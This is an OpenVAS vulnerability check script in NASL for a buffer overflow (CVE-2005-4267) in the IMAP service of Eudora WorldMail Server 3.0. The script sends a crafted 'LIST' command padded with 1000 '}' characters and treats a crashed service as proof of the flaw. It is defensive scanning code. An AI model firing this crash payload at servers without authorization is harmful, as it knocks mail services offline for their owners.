Eudora WorldMail IMAP Server Buffer Overflow Vulnerability

###############################################################################
# OpenVAS Vulnerability Test
# $Id: gb_eudora_worldmail_imap_server_bof_vuln.nasl 5888 2017-04-07 09:01:53Z teissa $
#
# Eudora WorldMail IMAP Server Buffer Overflow Vulnerability
#
# Authors:
# Sooraj KS <[email protected]>
#
# Copyright:
# Copyright (c) 2012 Greenbone Networks GmbH, http://www.greenbone.net
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2
# (or any later version), as published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################

tag_impact = "Successful exploitation may allow remote attackers to execute
arbitrary code within the context of the application or cause a denial of
service condition.

Impact Level: System/Application";

tag_affected = "Eudora WorldMail Server 3.0";

tag_insight = "The flaw is due to a boundary error when processing user
supplied IMAP commands. This can be exploited to cause a stack-based overflow
via a long string containing a '}' character.";

tag_solution = "Upgrade to Eudora WorldMail Server version 4.0 or later.
For updates refer to http://www.eudora.com/worldmail/";

tag_summary = "This host is running WorldMail IMAP Server and prone to buffer
overflow vulnerability.";

if(description)
{
  script_id(802294);
  script_version("$Revision: 5888 $");
  script_bugtraq_id(15980);
  script_cve_id("CVE-2005-4267");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_tag(name:"last_modification", value:"$Date: 2017-04-07 11:01:53 +0200 (Fri, 07 Apr 2017) $");
  script_tag(name:"creation_date", value:"2012-01-18 14:14:14 +0530 (Wed, 18 Jan 2012)");
  script_name("Eudora WorldMail IMAP Server Buffer Overflow Vulnerability");
  script_xref(name : "URL" , value : "http://secunia.com/advisories/17640");
  script_xref(name : "URL" , value : "http://securitytracker.com/id/1015391");
  script_xref(name : "URL" , value : "http://www.exploit-db.com/exploits/18354");
  script_xref(name : "URL" , value : "http://www.idefense.com/intelligence/vulnerabilities/display.php?id=359");

  script_category(ACT_DENIAL);
  script_tag(name:"qod_type", value:"remote_vul");
  script_copyright("Copyright (C) 2012 Greenbone Networks GmbH");
  script_family("Buffer overflow");
  script_dependencies("find_service.nasl");
  script_require_ports("Services/imap", 143);
  script_tag(name : "impact" , value : tag_impact);
  script_tag(name : "affected" , value : tag_affected);
  script_tag(name : "insight" , value : tag_insight);
  script_tag(name : "solution" , value : tag_solution);
  script_tag(name : "summary" , value : tag_summary);
  exit(0);
}


## Get IMAP Port
port = get_kb_item("Services/imap");
if(!port) {
  port = 143;
}

## Check Port State
if(! get_port_state(port)){
  exit(0);
}

## Open TCP Socket
if(!soc = open_sock_tcp(port)){
  exit(0);
}

## Check Banner And Confirm Application
res = recv(socket:soc, length:512);
if("WorldMail IMAP4 Server" >!< res)
{
  close(soc);
  exit(0);
}

## Build Exploit
exploit = string("LIST ",crap(data:"}", length:1000),"\r\n");

## Send Exploit
send = send(socket:soc, data:exploit);
close(soc);

## Waiting
sleep(3);

## Try to Open Socket
if(!soc1 =  open_sock_tcp(port))
{
  security_message(port);
  exit(0);
}

## Confirm Server is still alive and responding
if(! res = recv(socket:soc1, length:512)) {
  security_message(port);
}
close(soc1);